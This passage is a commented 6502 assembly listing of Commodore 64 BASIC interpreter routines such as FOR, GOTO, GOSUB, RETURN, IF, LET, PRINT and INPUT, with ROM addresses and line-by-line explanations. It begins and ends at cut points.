#TK_PI ; compare with the token for PI. in this ; case the token is the same as the PI ; character so it just needs printing beq A_A6F3 ; just print it if so bit GARBFL ; test the open quote flag bmi A_A6F3 ; just go print char if open quote set sec ; else set carry for subtract sbc #$7F ; reduce token range to 1 to whatever tax ; copy token # to X sty FORPNT ; save index for line ldy #$FF ; start from -1, adjust for pre- ; increment A_A72C ; [A72C] dex ; decrement token # beq A_A737 ; if now found go do printing A_A72F ; [A72F] iny ; else increment index lda TblBasicCodes,Y ; get byte from keyword table bpl A_A72F ; loop until keyword end marker bmi A_A72C ; go test if this is required keyword, ; branch always ; found keyword, it's the next one A_A737 ; [A737] iny ; increment keyword table index lda TblBasicCodes,Y ; get byte from table bmi A_A6EF ; go restore index, mask byte and print ; if byte was end marker jsr PrintChar ; else go print the character [AB47] bne A_A737 ; go get next character, branch always ;****************************************************************************** ; ; perform FOR bcFOR ; [A742] lda #$80 ; set FNX sta SUBFLG ; set subscript/FNX flag jsr bcLET ; perform LET [A9A5] jsr SrchForNext ; search stack for FOR or GOSUB activity ; [A38A] bne A_A753 ; branch if FOR not found ; FOR, this variable, was found so first we dump the old one txa ; copy index adc #$0F ; add FOR structure size-2 tax ; copy to index txs ; set stack (dump FOR structure) A_A753 ; [A753] pla ; pull return address pla ; pull return address lda #$09 ; we need 18d bytes ! jsr CheckRoomStack ; check room on stack for 2*A bytes ; [A3FB] jsr FindNextColon ; scan for next BASIC statement ([:] or ; [EOL]) [A906] clc ; clear carry for add tya ; copy index to A adc TXTPTR ; add BASIC execute pointer LB pha ; push onto stack lda TXTPTR+1 ; get BASIC execute pointer HB adc #$00 ; add carry pha ; push onto stack lda CURLIN+1 ; get current line number HB pha ; push onto stack lda CURLIN ; get current line number LB pha ; push onto stack lda #TK_TO ; set "TO" token jsr Chk4CharInA ; scan for CHR$(A), else do syntax error ; then warm start [AEFF] jsr CheckIfNumeric ; check if source is numeric, else do ; type mismatch [AD8D] jsr EvalExpression ; evaluate expression and check is ; numeric, else do type mismatch [AD8A] lda FACSGN ; get FAC1 sign (b7) ora #$7F ; set all non sign bits and FacMantissa ; and FAC1 mantissa 1 sta FacMantissa ; save FAC1 mantissa 1 lda #<bcFOR2 ; set return address LB ldy #>bcFOR2 ; set return address HB sta INDEX ; save return address LB sty INDEX+1 ; save return address HB jmp FAC1ToStack ; round FAC1 and put on stack, returns ; to next instruction [AE43] bcFOR2 ; [A78B] lda #<Constant1 ; set 1 pointer low address, default ; step size ldy #>Constant1 ; set 1 pointer high address jsr UnpackAY2FAC1 ; unpack memory (AY) into FAC1 [BBA2] jsr CHRGOT ; scan memory [0079] cmp #TK_STEP ; compare with STEP token bne A_A79F ; if not "STEP" continue ; was step so .... jsr CHRGET ; increment and scan memory [0073] jsr EvalExpression ; evaluate expression and check is ; numeric, else do type mismatch [AD8A] A_A79F ; [A79F] jsr GetFacSign ; get FAC1 sign, return A = $FF -ve, ; A = $01 +ve [BC2B] jsr SgnFac1ToStack ; push sign, round FAC1 and put on stack ; [AE38] lda FORPNT+1 ; get FOR/NEXT variable pointer HB pha ; push on stack lda FORPNT ; get FOR/NEXT variable pointer LB pha ; push on stack lda #TK_FOR ; get FOR token pha ; push on stack ;****************************************************************************** ; ; interpreter inner loop InterpretLoop ; [A7AE] jsr BasChkStopKey ; do CRTL-C check vector [A82C] lda TXTPTR ; get the BASIC execute pointer LB ldy TXTPTR+1 ; get the BASIC execute pointer HB cpy #$02 ; compare the HB with $02xx nop ; unused byte beq A_A7BE ; if immediate mode skip the continue ; pointer save sta OLDTXT ; save the continue pointer LB sty OLDTXT+1 ; save the continue pointer HB A_A7BE ; [A7BE] ldy #$00 ; clear the index lda (TXTPTR),Y ; get a BASIC byte bne A_A807 ; if not [EOL] go test for ":" ldy #$02 ; else set the index lda (TXTPTR),Y ; get next line pointer HB clc ; clear carry for no "BREAK" message bne A_A7CE ; branch if not end of program jmp bcEND2 ; else go to immediate mode, was ; immediate or [EOT] marker [A84B] A_A7CE ; [A7CE] iny ; increment index lda (TXTPTR),Y ; get line number LB sta CURLIN ; save current line number LB iny ; increment index lda (TXTPTR),Y ; get line # HB sta CURLIN+1 ; save current line number HB tya ; A now = 4 adc TXTPTR ; add BASIC execute pointer LB, now ; points to code sta TXTPTR ; save BASIC execute pointer LB bcc InterpretLoop2 ; branch if no overflow inc TXTPTR+1 ; else increment BASIC execute pointer ; HB InterpretLoop2 ; [A7E1] jmp (IGONE) ; do start new BASIC code ;****************************************************************************** ; ; start new BASIC code, the start new BASIC code vector is initialised to point ; here InterpretLoop3 ; [A7E4] jsr CHRGET ; increment and scan memory [0073] jsr DecodeBASIC ; go interpret BASIC code from BASIC ; execute pointer [A7ED] jmp InterpretLoop ; loop [A7AE] ;****************************************************************************** ; ; go interpret BASIC code from BASIC execute pointer DecodeBASIC ; [A7ED] beq A_A82B ; if the first byte is null just exit DecodeBASIC2 ; [A7EF] sbc #$80 ; normalise the token bcc A_A804 ; if wasn't token go do LET cmp #TK_TAB-$80 ; compare with token for TAB(-$80 bcs A_A80E ; branch if >= TAB( asl ; *2 bytes per vector tay ; copy to index lda TblBasicInstr+1,Y ; get vector HB pha ; push on stack lda TblBasicInstr,Y ; get vector LB pha ; push on stack jmp CHRGET ; increment and scan memory and return. ; The return in [0073] this case calls ; the command code, the return from ; that will eventually return to the ; interpreter inner loop above A_A804 ; [A804] jmp bcLET ; perform LET [A9A5] ; was not [EOL] A_A807 ; [A807] cmp #':' ; comapre with ":" beq InterpretLoop2 ; if ":" go execute new code ; else ... A_A80B ; [A80B] jmp SyntaxError ; do syntax error then warm start [AF08] ; token was >= TAB( A_A80E ; [A80E] cmp #TK_GO-$80 ; compare with the token for GO bne A_A80B ; if not "GO" do syntax error then warm ; start ; else was "GO" jsr CHRGET ; increment and scan memory [0073] lda #TK_TO ; set "TO" token jsr Chk4CharInA ; scan for CHR$(A), else do syntax error ; then warm start [AEFF] jmp bcGOTO ; perform GOTO [A8A0] ;****************************************************************************** ; ; perform RESTORE bcRESTORE sec ; set carry for subtract lda TXTTAB ; get start of memory LB sbc #$01 ; -1 ldy TXTTAB+1 ; get start of memory HB bcs bcRESTORE2 ; branch if no rollunder dey ; else decrement HB bcRESTORE2 ; [A827] sta DATPTR ; set DATA pointer LB sty DATPTR+1 ; set DATA pointer HB A_A82B ; [A82B] rts ;****************************************************************************** ; ; do CRTL-C check vector BasChkStopKey ; [A82C] jsr ScanStopKey ; scan stop key [FFE1] ;****************************************************************************** ; ; perform STOP bcSTOP bcs A_A832 ; if carry set do BREAK instead of just ; END ;****************************************************************************** ; ; perform END bcEND clc ; clear carry A_A832 ; [A832] bne A_A870 ; return if wasn't CTRL-C lda TXTPTR ; get BASIC execute pointer LB ldy TXTPTR+1 ; get BASIC execute pointer HB ldx CURLIN+1 ; get current line number HB inx ; increment it beq A_A849 ; branch if was immediate mode sta OLDTXT ; save continue pointer LB sty OLDTXT+1 ; save continue pointer HB lda CURLIN ; get current line number LB ldy CURLIN+1 ; get current line number HB sta OLDLIN ; save break line number LB sty OLDLIN+1 ; save break line number HB A_A849 ; [A849] pla ; dump return address LB pla ; dump return address HB bcEND2 ; [A84B] lda #<TxtBreak ; set [CR][LF]"BREAK" pointer LB ldy #>TxtBreak ; set [CR][LF]"BREAK" pointer HB bcc A_A854 ; if was program end skip the print ; string jmp OutputMessage ; print string and do warm start [A469] A_A854 ; [A854] jmp BasWarmStart2 ; do warm start [E386] ;****************************************************************************** ; ; perform CONT bcCONT bne A_A870 ; exit if following byte to allow ; syntax error ldx #$1A ; error code $1A, can't continue error ldy OLDTXT+1 ; get continue pointer HB bne A_A862 ; go do continue if we can jmp OutputErrMsg ; else do error #X then warm start ; [A437] ; we can continue so ... A_A862 ; [A862] lda OLDTXT ; get continue pointer LB sta TXTPTR ; save BASIC execute pointer LB sty TXTPTR+1 ; save BASIC execute pointer HB lda OLDLIN ; get break line LB ldy OLDLIN+1 ; get break line HB sta CURLIN ; set current line number LB sty CURLIN+1 ; set current line number HB A_A870 ; [A870] rts ;****************************************************************************** ; ; perform RUN bcRUN php ; save status lda #$00 ; no control or kernal messages jsr CtrlKernalMsg ; control kernal messages [FF90] plp ; restore status bne A_A87D ; branch if RUN n jmp ResetExecPtr ; reset execution to start, clear ; variables, flush stack [A659] ; and return A_A87D ; [A87D] jsr bcCLR2 ; go do "CLEAR" [A660] jmp bcGOSUB2 ; get n and do GOTO n [A897] ;****************************************************************************** ; ; perform GOSUB bcGOSUB lda #$03 ; need 6 bytes for GOSUB jsr CheckRoomStack ; check room on stack for 2*A bytes ; [A3FB] lda TXTPTR+1 ; get BASIC execute pointer HB pha ; save it lda TXTPTR ; get BASIC execute pointer LB pha ; save it lda CURLIN+1 ; get current line number HB pha ; save it lda CURLIN ; get current line number LB pha ; save it lda #TK_GOSUB ; token for GOSUB pha ; save it bcGOSUB2 ; [A897] jsr CHRGOT ; scan memory [0079] jsr bcGOTO ; perform GOTO [A8A0] jmp InterpretLoop ; go do interpreter inner loop [A7AE] ;****************************************************************************** ; ; perform GOTO bcGOTO jsr LineNum2Addr ; get fixed-point number into temporary ; integer [A96B] jsr FindEndOfLine ; scan for next BASIC line [A909] sec ; set carry for subtract lda CURLIN ; get current line number LB sbc LINNUM ; subtract temporary integer LB lda CURLIN+1 ; get current line number HB sbc LINNUM+1 ; subtract temporary integer HB bcs A_A8BC ; if current line number >= temporary ; integer, go search from the start of ; memory tya ; else copy line index to A sec ; set carry (+1) adc TXTPTR ; add BASIC execute pointer LB ldx TXTPTR+1 ; get BASIC execute pointer HB bcc A_A8C0 ; branch if no overflow to HB inx ; increment HB bcs A_A8C0 ; branch always (can never be carry) ;****************************************************************************** ; ; search for line number in temporary integer from start of memory pointer A_A8BC ; [A8BC] lda TXTTAB ; get start of memory LB ldx TXTTAB+1 ; get start of memory HB ;****************************************************************************** ; ; search for line # in temporary integer from (AX) A_A8C0 ; [A8C0] jsr CalcStartAddr2 ; search Basic for temp integer line ; number from AX [A617] bcc A_A8E3 ; if carry clear go do unsdefined ; statement error ; carry all ready set for subtract lda FacTempStor+8 ; get pointer LB sbc #$01 ; -1 sta TXTPTR ; save BASIC execute pointer LB lda FacTempStor+9 ; get pointer HB sbc #$00 ; subtract carry sta TXTPTR+1 ; save BASIC execute pointer HB A_A8D1 ; [A8D1] rts ;****************************************************************************** ; ; perform RETURN bcRETURN bne A_A8D1 ; exit if following token to allow ; syntax error lda #$FF ; set byte so no match possible sta FORPNT+1 ; save FOR/NEXT variable pointer HB jsr SrchForNext ; search the stack for FOR or GOSUB ; activity, get token off stack [A38A] txs ; correct the stack cmp #TK_GOSUB ; compare with GOSUB token beq A_A8EB ; if matching GOSUB go continue RETURN ldx #$0C ; else error code $04, return without ; gosub error .byte $2C ; makes next line BIT $11A2 A_A8E3 ; [A8E3] ldx #$11 ; error code $11, undefined statement ; error jmp OutputErrMsg ; do error #X then warm start [A437] A_A8E8 ; [A8E8] jmp SyntaxError ; do syntax error then warm start [AF08] ; was matching GOSUB token A_A8EB ; [A8EB] pla ; dump token byte pla ; pull return line LB sta CURLIN ; save current line number LB pla ; pull return line HB sta CURLIN+1 ; save current line number HB pla ; pull return address LB sta TXTPTR ; save BASIC execute pointer LB pla ; pull return address HB sta TXTPTR+1 ; save BASIC execute pointer HB ;****************************************************************************** ; ; perform DATA bcDATA jsr FindNextColon ; scan for next BASIC statement ([:] or ; [EOL]) [A906] ;****************************************************************************** ; ; add Y to the BASIC execute pointer bcDATA2 ; [A8FB] tya ; copy index to A S_A8FC clc ; clear carry for add adc TXTPTR ; add BASIC execute pointer LB sta TXTPTR ; save BASIC execute pointer LB bcc A_A905 ; skip increment if no carry inc TXTPTR+1 ; else increment BASIC execute pointer ; HB A_A905 ; [A905] rts ;****************************************************************************** ; ; scan for next BASIC statement ([:] or [EOL]) ; returns Y as index to [:] or [EOL] FindNextColon ; [A906] ldx #':' ; set look for character = ":" .byte $2C ; makes next line BIT $00A2 ;****************************************************************************** ; ; scan for next BASIC line ; returns Y as index to [EOL] FindEndOfLine ; [A909] ldx #$00 ; set alternate search character = [EOL] stx CHARAC ; store alternate search character ldy #$00 ; set search character = [EOL] sty ENDCHR ; save the search character A_A911 ; [A911] lda ENDCHR ; get search character ldx CHARAC ; get alternate search character sta CHARAC ; make search character = alternate ; search character FindOtherChar ; [A917] stx ENDCHR ; make alternate search character = ; search character A_A919 ; [A919] lda (TXTPTR),Y ; get BASIC byte beq A_A905 ; exit if null [EOL] cmp ENDCHR ; compare with search character beq A_A905 ; exit if found iny ; else increment index cmp #'"' ; compare current character with open ; quote bne A_A919 ; if found go swap search character for ; alternate search character beq A_A911 ; loop for next character, branch always ;****************************************************************************** ; ; perform IF bcIF jsr EvaluateValue ; evaluate expression [AD9E] jsr CHRGOT ; scan memory [0079] cmp #TK_GOTO ; compare with "GOTO" token beq A_A937 ; if it was the token for GOTO go do ; IF ... GOTO ; wasn't IF ... GOTO so must be IF ... THEN lda #TK_THEN ; set "THEN" token jsr Chk4CharInA ; scan for CHR$(A), else do syntax error ; then warm start [AEFF] A_A937 ; [A937] lda FACEXP ; get FAC1 exponent bne A_A940 ; if result was non zero continue ; execution ; else REM rest of line ;****************************************************************************** ; ; perform REM bcREM jsr FindEndOfLine ; scan for next BASIC line [A909] beq bcDATA2 ; add Y to the BASIC execute pointer and ; return, branch always ; result was non zero so do rest of line A_A940 ; [A940] jsr CHRGOT ; scan memory [0079] bcs A_A948 ; branch if not numeric character, is ; variable or keyword jmp bcGOTO ; else perform GOTO n [A8A0] ; is variable or keyword A_A948 ; [A948] jmp DecodeBASIC ; interpret BASIC code from BASIC ; execute pointer [A7ED] ;****************************************************************************** ; ; perform ON bcON jsr GetByteParm2 ; get byte parameter [B79E] pha ; push next character cmp #TK_GOSUB ; compare with GOSUB token beq A_A957 ; if GOSUB go see if it should be ; executed A_A953 ; [A953] cmp #TK_GOTO ; compare with GOTO token bne A_A8E8 ; if not GOTO do syntax error then warm ; start ; next character was GOTO or GOSUB, see if it should be executed A_A957 ; [A957] dec FacMantissa+3 ; decrement the byte value bne A_A95F ; if not zero go see if another line ; number exists pla ; pull keyword token jmp DecodeBASIC2 ; go execute it [A7EF] A_A95F ; [A95F] jsr CHRGET ; increment and scan memory [0073] jsr LineNum2Addr ; get fixed-point number into temporary ; integer [A96B] cmp #',' ; compare next character with "," beq A_A957 ; loop if "," pla ; else pull keyword token, ran out of ; options A_A96A ; [A96A] rts ;****************************************************************************** ; ; get fixed-point number into temporary integer LineNum2Addr ; [A96B] ldx #$00 ; clear X stx LINNUM ; clear temporary integer LB stx LINNUM+1 ; clear temporary integer HB LineNum2Addr2 ; [A971] bcs A_A96A ; return if carry set, end of scan, ; character was not 0-9 sbc #'0'-1 ; subtract $30, $2F+carry, from byte sta CHARAC ; store # lda LINNUM+1 ; get temporary integer HB sta INDEX ; save it for now cmp #$19 ; compare with $19 bcs A_A953 ; branch if >= this makes the maximum ; line number 63999 because the next ; bit does $1900 * $0A = $FA00 = 64000 decimal. the branch target is really the ; SYNTAX error at A_A8E8 but that is too far so an intermediate; compare and ; branch to that location is used. the problem with this is that line number ; that gives a partial result from $8900 to $89FF, 35072x to 35327x, will pass ; the new target compare and will try to execute the remainder of the ON n ; GOTO/GOSUB. a solution to this is to copy the byte in A before the branch to ; X and then branch to A_A955 skipping the second compare lda LINNUM ; get temporary integer LB asl ; *2 LB rol INDEX ; *2 HB asl ; *2 LB rol INDEX ; *2 HB (*4) adc LINNUM ; + LB (*5) sta LINNUM ; save it lda INDEX ; get HB temp adc LINNUM+1 ; + HB (*5) sta LINNUM+1 ; save it asl LINNUM ; *2 LB (*10d) rol LINNUM+1 ; *2 HB (*10d) lda LINNUM ; get LB adc CHARAC ; add # sta LINNUM ; save LB bcc A_A99F ; branch if no overflow to HB inc LINNUM+1 ; else increment HB A_A99F ; [A99F] jsr CHRGET ; increment and scan memory [0073] jmp LineNum2Addr2 ; loop for next character [A971] ;****************************************************************************** ; ; perform LET bcLET jsr GetAddrVar ; get variable address [B08B] sta FORPNT ; save variable address LB sty FORPNT+1 ; save variable address HB lda #TK_EQUAL ; $B2 is "=" token jsr Chk4CharInA ; scan for CHR$(A), else do syntax error ; then warm start [AEFF] lda INTFLG ; get data type flag, $80 = integer, ; $00 = float pha ; push data type flag lda VALTYP ; get data type flag, $FF = string, ; $00 = numeric pha ; push data type flag jsr EvaluateValue ; evaluate expression [AD9E] pla ; pop data type flag rol ; string bit into carry jsr ChkIfNumStr ; do type match check [AD90] bne A_A9D9 ; branch if string pla ; pop integer/float data type flag ; assign value to numeric variable SetIntegerVar ; [A9C2] bpl A_A9D6 ; branch if float ; expression is numeric integer jsr RoundFAC1 ; round FAC1 [BC1B] jsr EvalInteger3 ; evaluate integer expression, no sign ; check [B1BF] ldy #$00 ; clear index lda FacMantissa+2 ; get FAC1 mantissa 3 sta (FORPNT),Y ; save as integer variable LB iny ; increment index lda FacMantissa+3 ; get FAC1 mantissa 4 sta (FORPNT),Y ; save as integer variable HB rts ; Set the value of a real variable A_A9D6 ; [A9D6] jmp Fac1ToVarPtr ; pack FAC1 into variable pointer and ; return [BBD0] ; assign value to numeric variable A_A9D9 ; [A9D9] pla ; dump integer/float data type flag SetValueString ; [A9DA] ldy FORPNT+1 ; get variable pointer HB cpy #>L_BF13 ; was it TI$ pointer bne A_AA2C ; branch if not ; else it's TI$ = <expr$> jsr PopStrDescStk ; pop string off descriptor stack, or ; from top of string space returns with ; A = length, X = pointer LB, Y = ; pointer HB [B6A6] cmp #$06 ; compare length with 6 bne A_AA24 ; if length not 6 do illegal quantity ; error then warm start ldy #$00 ; clear index sty FACEXP ; clear FAC1 exponent sty FACSGN ; clear FAC1 sign (b7) A_A9ED ; [A9ED] sty FBUFPT ; save index jsr ChkCharIsNum ; check and evaluate numeric digit ; [AA1D] jsr Fac1x10 ; multiply FAC1 by 10 [BAE2] inc FBUFPT ; increment index ldy FBUFPT ; restore index jsr ChkCharIsNum ; check and evaluate numeric digit ; [AA1D] jsr CopyFAC1toFAC2 ; round and copy FAC1 to FAC2 [BC0C] tax ; copy FAC1 exponent beq A_AA07 ; branch if FAC1 zero inx ; increment index, * 2 txa ; copy back to A jsr FAC1plFAC2x2 ; FAC1 = (FAC1 + (FAC2 * 2)) * 2 = ; FAC1 * 6 [BAED] A_AA07 ; [AA07] ldy FBUFPT ; get index iny ; increment index cpy #$06 ; compare index with 6 bne A_A9ED ; loop if not 6 jsr Fac1x10 ; multiply FAC1 by 10 [BAE2] jsr FAC1Float2Fix ; convert FAC1 floating to fixed [BC9B] ldx FacMantissa+2 ; get FAC1 mantissa 3 ldy FacMantissa+1 ; get FAC1 mantissa 2 lda FacMantissa+3 ; get FAC1 mantissa 4 jmp SetClock ; set real time clock and return [FFDB] ;****************************************************************************** ; ; check and evaluate numeric digit ChkCharIsNum ; [AA1D] lda (INDEX),Y ; get byte from string jsr NumericTest ; clear Cb if numeric. this call should ; be to $84 as the code from NumericTest ; first comapres the byte with [SPACE] ; and does a BASIC increment and get if ; it is [0080] bcc A_AA27 ; branch if numeric A_AA24 ; [AA24] jmp IllegalQuant ; do illegal quantity error then warm ; start [B248] A_AA27 ; [AA27] sbc #'0'-1 ; subtract $2F + carry to convert ASCII ; to binary jmp EvalNewDigit ; evaluate new ASCII digit and return ; [BD7E] ;****************************************************************************** ; ; assign value to numeric variable, but not TI$ A_AA2C ; [AA2C] ldy #$02 ; index to string pointer HB lda (FacMantissa+2),Y ; get string pointer HB cmp FRETOP+1 ; compare with bottom of string space HB bcc A_AA4B ; branch if string pointer HB is less ; than bottom of string space HB bne A_AA3D ; branch if string pointer HB is greater ; than bottom of string space HB ; else HBs were equal dey ; decrement index to string pointer LB lda (FacMantissa+2),Y ; get string pointer LB cmp FRETOP ; compare with bottom of string space LB bcc A_AA4B ; branch if string pointer LB is less ; than bottom of string space LB A_AA3D ; [AA3D] ldy FacMantissa+3 ; get descriptor pointer HB cpy VARTAB+1 ; compare with start of variables HB bcc A_AA4B ; branch if less, is on string stack bne A_AA52 ; if greater make space and copy string ; else HBs were equal lda FacMantissa+2 ; get descriptor pointer LB cmp VARTAB ; compare with start of variables LB bcs A_AA52 ; if greater or equal make space and ; copy string A_AA4B ; [AA4B] lda FacMantissa+2 ; get descriptor pointer LB ldy FacMantissa+3 ; get descriptor pointer HB jmp A_AA68 ; go copy descriptor to variable [AA68] A_AA52 ; [AA52] ldy #$00 ; clear index lda (FacMantissa+2),Y ; get string length jsr StringVector ; copy descriptor pointer and make ; string space A bytes long [B475] lda TempPtr ; copy old descriptor pointer LB ldy TempPtr+1 ; copy old descriptor pointer HB sta ARISGN ; save old descriptor pointer LB sty FACOV ; save old descriptor pointer HB jsr Str2UtilPtr ; copy string from descriptor to utility ; pointer [B67A] lda #<FACEXP ; get descriptor pointer LB ldy #>FACEXP ; get descriptor pointer HB A_AA68 ; [AA68] sta TempPtr ; save descriptor pointer LB sty TempPtr+1 ; save descriptor pointer HB jsr ClrDescrStack ; clean descriptor stack, YA = pointer ; [B6DB] ldy #$00 ; clear index lda (TempPtr),Y ; get string length from new descriptor sta (FORPNT),Y ; copy string length to variable iny ; increment index lda (TempPtr),Y ; get string pointer LB from new ; descriptor sta (FORPNT),Y ; copy string pointer LB to variable iny ; increment index lda (TempPtr),Y ; get string pointer HB from new ; descriptor sta (FORPNT),Y ; copy string pointer HB to variable rts ;****************************************************************************** ; ; perform PRINT# bcPRINTH jsr bcCMD ; perform CMD [AA86] jmp bcINPUTH2 ; close input and output channels and ; return [ABB5] ;****************************************************************************** ; ; perform CMD bcCMD jsr GetByteParm2 ; get byte parameter [B79E] beq A_AA90 ; branch if following byte is ":" or ; [EOT] lda #',' ; set "," jsr Chk4CharInA ; scan for CHR$(A), else do syntax error ; then warm start [AEFF] A_AA90 ; [AA90] php ; save status stx CurIoChan ; set current I/O channel jsr OpenChan4OutpA ; open channel for output with error ; check [E118] plp ; restore status jmp bcPRINT ; perform PRINT [AAA0] A_AA9A ; [AA9A] jsr OutputString2 ; print string from utility pointer ; [AB21] A_AA9D ; [AA9D] jsr CHRGOT ; scan memory [0079] ;****************************************************************************** ; ; perform PRINT bcPRINT beq OutCRLF ; if nothing following just print CR/LF bcPRINT2 ; [AAA2] beq A_AAE7 ; exit if nothing following, end of ; PRINT branch cmp #TK_TAB ; compare with token for TAB( beq A_AAF8 ; if TAB( go handle it cmp #TK_SPC ; compare with token for SPC( clc ; flag SPC( beq A_AAF8 ; if SPC( go handle it cmp #',' ; compare with "," beq A_AAE8 ; if "," go skip to the next TAB ; position cmp #';' ; compare with ";" beq A_AB13 ; if ";" go continue the print loop jsr EvaluateValue ; evaluate expression [AD9E] bit VALTYP ; test data type flag, $FF = string, ; $00 = numeric bmi A_AA9A ; if string go print string, scan memory ; and continue PRINT jsr FAC1toASCII ; convert FAC1 to ASCII string result ; in (AY) [BDDD] jsr QuoteStr2UtPtr ; print " terminated string to utility ; pointer [B487] jsr OutputString2 ; print string from utility pointer ; [AB21] jsr PrintSpace ; print [SPACE] or [CURSOR RIGHT] [AB3B] bne A_AA9D ; always -> go scan memory and continue ; PRINT ;****************************************************************************** ; ; set XY to CommandBuf - 1 SetXY2CmdBuf ; [AACA] lda #$00 ; clear A sta CommandBuf,X ; clear first byte of input buffer ldx #<CommandBuf-1 ; CommandBuf - 1 LB ldy #>CommandBuf-1 ; CommandBuf - 1 HB lda CurIoChan ; get current I/O channel bne A_AAE7 ; exit if not default channel ;****************************************************************************** ; ; print CR/LF OutCRLF ; [AAD7] lda #$0D ; set [CR] jsr PrintChar ; print the character [AB47] bit CurIoChan ; test current I/O channel bpl EOR_FF ; if ?? toggle A, EOR #$FF and return lda #$0A ; set [LF] jsr PrintChar ; print the character [AB47] ; toggle A EOR_FF ; [AAE5] eor #$FF ; invert A A_AAE7 ; [AAE7] rts ; was "," A_AAE8 ; [AAE8] sec ; set C flag for read cursor position jsr CursorPosXY ; read/set X,Y cursor position [FFF0] tya ; copy cursor Y sec ; set carry for subtract A_AAEE ; [AAEE] sbc #$0A ; subtract one TAB length bcs A_AAEE ; loop if result was +ve eor #$FF ; complement it adc #$01 ; +1, twos complement bne A_AB0E ; always print A spaces, result is ; never $00 A_AAF8 ; [AAF8] php ; save TAB( or SPC( status sec ; set Cb for read cursor position jsr CursorPosXY ; read/set X,Y cursor position [FFF0] sty TRMPOS ; save current cursor position jsr GetByteParm ; scan and get byte parameter [B79B] cmp #')' ; compare with ")" bne A_AB5F ; if not ")" do syntax error plp ; restore TAB( or SPC( status bcc A_AB0F ; branch if was SPC( ; else was TAB( txa ; copy TAB() byte to A sbc TRMPOS ; subtract current cursor position bcc A_AB13 ; go loop for next if already past ; requited position A_AB0E ; [AB0E] tax ; copy [SPACE] count to X A_AB0F ; [AB0F] inx ; increment count A_AB10 ; [AB10] dex ; decrement count bne A_AB19 ; branch if count was not zero ; was ";" or [SPACES] printed A_AB13 ; [AB13] jsr CHRGET ; increment and scan memory [0073] jmp bcPRINT2 ; continue print loop [AAA2] A_AB19 ; [AB19] jsr PrintSpace ; print [SPACE] or [CURSOR RIGHT] [AB3B] bne A_AB10 ; loop, branch always ;****************************************************************************** ; ; print null terminated string OutputString ; [AB1E] jsr QuoteStr2UtPtr ; print " terminated string to utility ; pointer [B487] ;****************************************************************************** ; ; print string from utility pointer OutputString2 ; [AB21] jsr PopStrDescStk ; pop string off descriptor stack, or ; from top of string [B6A6] ; space returns with A = length, ; X = pointer LB, Y = pointer HB tax ; copy length ldy #$00 ; clear index inx ; increment length, for pre decrement ; loop OutputString3 ; [AB28] dex ; decrement length beq A_AAE7 ; exit if done lda (INDEX),Y ; get byte from string jsr PrintChar ; print the character [AB47] iny ; increment index cmp #$0D ; compare byte with [CR] bne OutputString3 ; loop if not [CR] jsr EOR_FF ; toggle A, EOR #$FF. what is the point ; of this ?? [AAE5] jmp OutputString3 ; loop [AB28] ;****************************************************************************** ; ; print [SPACE] or [CURSOR RIGHT] PrintSpace ; [AB3B] lda CurIoChan ; get current I/O channel beq A_AB42 ; if default channel go output ; [CURSOR RIGHT] lda #' ' ; else output [SPACE] .byte $2C ; makes next line BIT $1DA9 A_AB42 ; [AB42] lda #$1D ; set [CURSOR RIGHT] .byte $2C ; makes next line BIT $3FA9 ;****************************************************************************** ; ; print "?" PrintQuestMark ; [AB45] lda #'?' ; set "?" ;****************************************************************************** ; ; print character PrintChar ; [AB47] jsr OutCharErrChan ; output character to channel with ; error check [E10C] and #$FF ; set the flags on A rts ;****************************************************************************** ; ; bad input routine ; Check the variable INPFLG where the error lays CheckINPFLG ; [AB4D] lda INPFLG ; get INPUT mode flag, $00 = INPUT, ; $40 = GET, $98 = READ beq A_AB62 ; branch if INPUT bmi A_AB57 ; branch if READ ; else was GET ldy #$FF ; set current line HB to -1, indicate ; immediate mode bne A_AB5B ; branch always ; error with READ A_AB57 ; [AB57] lda DATLIN ; get current DATA line number LB ldy DATLIN+1 ; get current DATA line number HB ; error with GET A_AB5B ; [AB5B] sta CURLIN ; set current line number LB sty CURLIN+1 ; set current line number HB A_AB5F ; [AB5F] jmp SyntaxError ; do syntax error then warm start [AF08] ; was INPUT ; error with INPUT A_AB62 ; [AB62] lda CurIoChan ; get current I/O channel beq A_AB6B ; branch if default channel ldx #$18 ; else error $18, file data error jmp OutputErrMsg ; do error #X then warm start [A437] A_AB6B ; [AB6B] lda #<txtREDOFROM ; set "?REDO FROM START" pointer LB ldy #>txtREDOFROM ; set "?REDO FROM START" pointer HB jsr OutputString ; print null terminated string [AB1E] lda OLDTXT ; get continue pointer LB ldy OLDTXT+1 ; get continue pointer HB sta TXTPTR ; save BASIC execute pointer LB sty TXTPTR+1 ; save BASIC execute pointer HB rts ;****************************************************************************** ; ; perform GET bcGET jsr ChkDirectMode ; check not Direct, back here if ok ; [B3A6] cmp #'#' ; compare with "#" bne A_AB92 ; branch if not GET# jsr CHRGET ; increment and scan memory [0073] jsr GetByteParm2 ; get byte parameter [B79E] lda #',' ; set "," jsr Chk4CharInA ; scan for CHR$(A), else do syntax error ; then warm start [AEFF] stx CurIoChan ; set current I/O channel jsr OpenChan4Inp0 ; open channel for input with error ; check [E11E] A_AB92 ; [AB92] ldx #<CommandBuf+1 ; set pointer LB ldy #>CommandBuf+1 ; set pointer HB lda #$00 ; clear A sta CommandBuf+1 ; ensure null terminator lda #$40 ; input mode = GET jsr bcREAD2 ; perform the GET part of READ [AC0F] ldx CurIoChan ; get current I/O channel bne A_ABB7 ; if not default channel go do channel ; close and return rts ;****************************************************************************** ; ; perform INPUT# bcINPUTH jsr GetByteParm2 ; get byte parameter [B79E] lda #',' ; set "," jsr Chk4CharInA ; scan for CHR$(A), else do syntax error ; then warm start [AEFF] stx CurIoChan ; set current I/O channel jsr OpenChan4Inp0 ; open channel for input with error ; check [E11E] jsr bcINPUT2 ; perform INPUT with no prompt string ; [ABCE] ;****************************************************************************** ; ; close input and output channels bcINPUTH2 ; [ABB5] lda CurIoChan ; get current I/O channel A_ABB7 ; [ABB7] jsr CloseIoChannls ; close input and output channels [FFCC] ldx #$00 ; clear X stx CurIoChan ; clear current I/O channel, flag ; default rts ;****************************************************************************** ; ; perform INPUT bcINPUT cmp #'"' ; compare next byte with open quote bne bcINPUT2 ; if no prompt string just do INPUT jsr GetNextParm3 ; print "..." string [AEBD] lda #';' ; load A with ";" jsr Chk4CharInA ; scan for CHR$(A), else do syntax error ; then warm start [AEFF] jsr OutputString2 ; print string from utility pointer ; [AB21] ; done with prompt, now get data bcINPUT2 ; [ABCE] jsr ChkDirectMode ; check not Direct, back here if ok ; [B3A6] lda #',' ; set "," sta CommandBuf-1 ; save to start of buffer - 1 A_ABD6 ; [ABD6] jsr 